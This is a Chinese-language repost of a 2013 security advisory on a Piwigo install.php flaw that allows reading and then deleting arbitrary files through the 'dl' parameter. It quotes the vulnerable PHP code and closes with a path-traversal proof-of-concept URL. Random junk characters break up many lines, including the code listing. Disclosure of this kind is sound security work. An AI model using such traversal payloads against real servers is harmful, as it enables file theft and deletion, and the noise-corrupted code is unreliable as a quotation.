Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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/install.php:
-------------
6 [0 r7 h2 [" t: O7 U, {$ o: g113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
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- `: b" [/ `2 D+ y6 `, v115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
$ n) r( q( U# G8 m! \* f116:   header('Cache-Control: no-cache, must-revalidate');
& l9 J* H: H# S5 r117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
- ~( J0 p/ F) ]4 `% F120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
124: }
====================================================================
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Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
1 P1 M0 G; u( {6 H( @           Apache 2.4.2 (Win32)
$ p: w7 W- u7 A4 L           PHP 5.4.4
           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
. p, I5 s! Q5 C4 y                            @zeroscience
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7 ^2 F: O. F; J  k! {9 \7 x* lAdvisory ID: ZSL-2013-5127
& Q* v+ m, _; z% z& C( n7 {Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

8 ]' m8 p* J* c; g  l15.02.2013

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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt

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